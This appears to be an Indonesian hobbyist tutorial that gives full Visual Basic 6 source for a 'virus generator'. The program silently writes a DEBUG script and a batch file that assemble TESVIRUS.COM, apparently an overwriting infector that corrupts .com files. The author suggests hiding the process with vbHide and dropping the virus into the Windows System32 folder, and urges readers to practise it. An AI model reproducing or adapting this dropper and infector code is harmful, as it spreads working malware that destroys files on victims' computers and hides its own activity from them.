Create Virus Generator

Pada program yang akan dibahas ini file yang akan dihasilkan/ di-drop ke drive C:\ adalah file tv.dbg, tv.bat dan TESVIRUS.com. Program ini di-compile menggunakan VB 6.0 ) Virus yang akan dihasilkan adalah virus TESVIRUS.COM yaitu virus yang sama dengan virus yang telah anda buat diatas, perbedaannya adalah program ini akan terus menghasilkan virus TESVIRUS.COM di drive C:\ jika program ini dijalankan. Terlebih dahulu anda memilih tipe ’standard exe’ di VB dan Add 1 module pada program VB. Salin code berikut pada text editor VB. <++ TESVIRUS2 ++> ‘ kode di module Public Function DropVir() On Error Resume Next Dim x, tvBat As String x = “C:\tv.dbg” Open x For Output As #1 Print #1, “N C:\TESVIRUS.COM” Print #1, “E 0100 B4 4E 33 C9 BA 2F 01 CD 21 72 1B B8 02 3D BA 9E” Print #1, “E 0110 00 CD 21 93 B4 40 B9 EA 00 BA 00 01 CD 21 B4 3E” Print #1, “E 0120 CD 21 B4 4F EB DC B4 09 BA 35 01 CD 21 CD 20 2A” Print #1, “E 0130 2E 63 6F 6D 00 73 65 6D 75 61 20 66 69 6C 65 20″ Print #1, “E 0140 2A 2E 63 6F 6D 20 64 69 20 64 69 72 65 6B 74 6F” Print #1, “E 0150 72 69 20 69 6E 69 20 73 75 64 61 68 20 64 69 69″ Print #1, “E 0160 6E 66 65 6B 73 69 0A 0D 73 65 6C 61 6D 61 74 20″ Print #1, “E 0170 65 6C 6F 20 62 65 72 68 61 73 69 6C 20 62 69 6B” Print #1, “E 0180 69 6E 20 76 69 72 75 73 20 70 65 72 74 61 6D 61″ Print #1, “E 0190 20 6B 61 6D 75 20 3A 29 0A 0D 6B 72 69 74 69 6B” Print #1, “E 01A0 20 64 61 6E 20 73 61 72 61 6E 20 65 4D 61 69 6C” Print #1, “E 01B0 20 6B 65 20 64 52 34 47 47 79 40 79 61 68 6F 6F” Print #1, “E 01C0 2E 63 6F 6D 2E 2E 2E 0A 0D 54 65 73 56 69 72 75″ Print #1, “E 01D0 73 20 54 72 69 76 69 61 4C 20 2D 20 64 52 34 47″ Print #1, “E 01E0 47 79 20 2D 20 30 34 0A 0D 24″ Print #1, “RCX” Print #1, “00EA” Print #1, “W” Print #1, “Q” Close #1 tvBat = “C:\tvBat.bat” Open tvBat For Output As #1 Print #1, “@echo off” Print #1, “debug < C:\tv.dbg” Print #1, “del C:\tv.dbg” Close #1 Shell “C:\tvBat.bat”, vbNormalFocus ‘ atau gunakan vbHide agar ‘ proses dilakukan secara ‘ background End Function ‘ kode di form Private Sub Form_Load() Call DropVir Unload Me End Sub <– TESVIRUS2 –> Setelah itu compile program anda dan jalankan, jika berhasil maka sekarang di drive C: akan muncul program TESVIRUS.com. Karena program ini dibuat dengan cepat jadi ada beberapa kekurangannya seperti program ini tidak mencek kembali apakah file TESVIRUS.COM telah ada di drive C:\, untuk itu anda mungkin dapat menambahkan fungsi ‘FileExists’ untuk mencek file tersebut atau anda dapat berkreasi sendiri dengan menggunakan cara anda sendiri untuk berkreasi seperti men-drop virus ke folder C:\Windows\System32 — 07 // Final Word —————————————————– “ilmu itu bukan untuk dibaca tapi untuk dipraktekkan.” “jangan takut untuk mencoba, trial n’ error is the best lessons in the world” "Happy programming"

-=[ by cyberjunk ]=-